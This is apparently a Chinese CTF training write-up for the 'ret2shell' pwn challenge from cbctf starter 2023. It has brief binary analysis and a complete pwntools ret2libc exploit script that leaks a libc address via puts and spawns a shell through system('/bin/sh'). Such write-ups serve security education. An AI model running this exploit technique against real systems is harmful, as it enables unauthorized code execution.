赛博协会训练营 - ret2shell

RocketDev

from cbctf starter 2023

文件分析

下载ret2shell, NX off, PIE off, RELRO off
ghidra分析为64位程序

解题思路

.bss不可执行,且栈溢出的空间不足以放下shellcode,转而考虑ret2libc

打完moectf后记:shellcode放的下,但是不太好在栈上执行shellcode
ret2libc过程参考moectf2023和cbctf的

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import LibcSearcher

sh = remote(???, 10032)
elf = ELF('ret2shell')

putsPlt = elf.plt['puts']
putsGot = elf.got['puts']
popRdiAddr = 0x400703
mainAddr = elf.symbols['main']

# payload 1
sh.sendline(b'x')
sh.sendlineafter(b':', b'0'*0x18 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(mainAddr))

sh.recvuntil(b'\n') # skip
data = sh.recv()
putsGotAddr = u64(data[:6] + b'\0\0')
libc = LibcSearcher.LibcSearcher('puts', putsGotAddr & 0xfff)
libcBase = putsGotAddr - libc.dump('puts')
shstrAddr = libcBase + libc.dump('str_bin_sh')
systemAddr = libcBase + libc.dump('system')
retAddr = 0x400696

# payload 2
sh.sendline(b'x')
sh.sendlineafter(b':', b'0'*0x18 + p64(popRdiAddr) + p64(shstrAddr) + p64(retAddr) + p64(systemAddr))

sh.interactive()

Done.

  • 标题: 赛博协会训练营 - ret2shell
  • 作者: RocketDev
  • 创建于 : 2023-09-19 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/19/ret2shell/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
赛博协会训练营 - ret2shell